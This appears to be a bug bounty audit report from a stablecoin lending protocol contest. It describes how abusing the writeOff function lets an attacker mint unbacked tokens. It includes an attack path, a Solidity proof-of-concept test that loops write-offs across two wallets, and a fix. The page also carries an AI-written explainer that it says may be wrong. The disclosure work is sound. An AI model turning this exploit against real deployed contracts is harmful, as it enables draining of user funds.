If there's only a single user which has reached a state with bad debt, anyone can mint unbacked tokens
The writeOff function allows a user with bad debt to receive their collateral while their debt is redistributed to other borrowers. An attacker can repeatedly open new positions and write off old ones to mint unbacked tokens and drain the contract.
Source: https://github.com/sherlock-audit/2025-12-monolith-stablecoin-factory-judging/issues/732
Found by
0x97, 0xnija, 0xpiken, DSbeX, Draxen, Edoscoba, JuggerNaut, PowPowPow, Riceee, SnowX, Valves, bughuntoor, cyberEth, deadmanwalking, flora2627, frustramatic, jayjoshix, jo13, legalwarden50, legat, n0fr33w1f14u, neeloy, piyushmali, securehash1, zach223
Summary
When a user has reached bad debt state, they should be cleared with writeOff. The function removes their debt and socializes it within the remaining borrowers and sends the written off user's collateral to a recipient set by the caller.
uint256 totalDebt = totalFreeDebt + totalPaidDebt;
if (totalDebt > 0) {
uint256 freeDebtIncrease = debt * totalFreeDebt / totalDebt;
uint256 paidDebtIncrease = debt - freeDebtIncrease;
totalFreeDebt += freeDebtIncrease;
totalPaidDebt += paidDebtIncrease;
}
if (!isRedeemable[borrower]) nonRedeemableCollateral -= collateralBalance;
_cachedCollateralBalances[borrower] = 0;
// Convert to token decimals for transfer (rounds down)
uint256 collateralAmount = internalToCollateral(collateralBalance);
emit WrittenOff(borrower, to, debt, collateralAmount);
writtenOff = true;
// 3. send collateral to caller
collateral.safeTransfer(to, collateralAmount);
}
The problem is that this can be abused in case that bad debt borrower is the only paid borrower or the only free debt borrower.
As the collateral is received, but the debt is redistributed, the user can open a new position on new wallet for 1/100th of the written off debt. Then they'll writeoff their first wallet, transferring the debt and turning the new wallet underwater. But they then can repeat the process, getting their collateral back each time.
For example if there's $100k of bad debt to be distributed, user opens a new borrow for $1k collateral, $500 debt, writes off first wallet, then debt is moved and writes of the 2nd wallet, effectively receiving the $500 debt for free. They can repeat this endlessly to mint as much of the tokens as they wish.
In case there are other free debt borrowers, the user can just fully redeem them before performing this action in order to make sure they can drain the contract.
Root Cause
Allowing to write off when user's collateral is above 0.
Internal Pre-conditions
A user should have bad debt.
Affected Code
Attack Path
Check PoC
Impact
Drain
PoC
function test_writeoffIssue() public {
address user = address(1);
ERC20Mock collateral = ERC20Mock(address(lender.collateral()));
ERC20Mock coin = ERC20Mock(address(lender.coin()));
FeedMock feed = FeedMock(address(lender.feed()));
vm.startPrank(user);
collateral.mint(user, 1e25);
coin.mint(user, 1e25);
collateral.approve(address(lender), type(uint256).max);
coin.approve(address(lender), type(uint256).max);
lender.adjust(user, 1_000_000e18, 500_000e18);
feed.setPrice(0.25e18); // $250k bad debt
address user2 = address(2);
address user3 = address(3);
collateral.mint(user2, 1e25);
collateral.mint(user3, 1e25);
coin.mint(user2, 1e25);
vm.startPrank(user2);
collateral.approve(address(lender), type(uint256).max);
coin.approve(address(lender), type(uint256).max);
lender.adjust(user2, 8000e18, 1000e18);
for (uint i; i < 3; i++) {
lender.liquidate(user, 400_000e18, 0);
}
vm.startPrank(user3);
collateral.approve(address(lender), type(uint256).max);
lender.setRedemptionStatus(user3, true); // we need to set one user to free debt and other to paid debt
uint256 collateralBalPre = collateral.balanceOf(user2) + collateral.balanceOf(user3);
uint256 coinBalPre = coin.balanceOf(user2) + coin.balanceOf(user3);
for (uint i; i < 50; i++) {
address lenderUser = i % 2 == 0 ? user3 : user2;
address writtenOff = i % 2 == 0 ? user2 : user3;
vm.startPrank(lenderUser);
lender.adjust(lenderUser, 8100e18, 1000e18);
lender.writeOff(writtenOff, lenderUser);
if (i == 49) lender.writeOff(lenderUser, lenderUser);
}
uint256 collateralAfter = collateral.balanceOf(user2) + collateral.balanceOf(user3);
uint256 coinBalAfter = coin.balanceOf(user2) + coin.balanceOf(user3);
console.log("collateral received %e", collateralAfter - collateralBalPre); // user has received back their 8e21 collateral
console.log("coin received %e", coinBalAfter - coinBalPre ); // user is in $50k profit
}
Mitigation
Only allow writeoff is user collateral is 0 (or dust)
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the writeOff function does not require the borrower's collateral balance to be zero before writing off their debt.
What the attacker needed
A user with bad debt; ability to open new positions; attacker has some initial capital
The fix
The writeOff function should only be allowed when the borrower's collateral balance is zero or negligible (dust).
How it was found
- A user has bad debt (debt exceeds collateral value).
- The user opens a new position with a small amount of collateral and debt.
- The user calls writeOff on the first wallet, receiving its collateral and redistributing its debt.
- The user repeats the process with alternating wallets to accumulate free tokens.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When a borrower owes more than their collateral is worth, the system can write off the debt, meaning the debt is shared among other borrowers and the borrower's collateral is sent to someone. The bug is that this write-off can happen even when the borrower still has collateral, so an attacker can keep creating new loans and writing them off to get free tokens.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.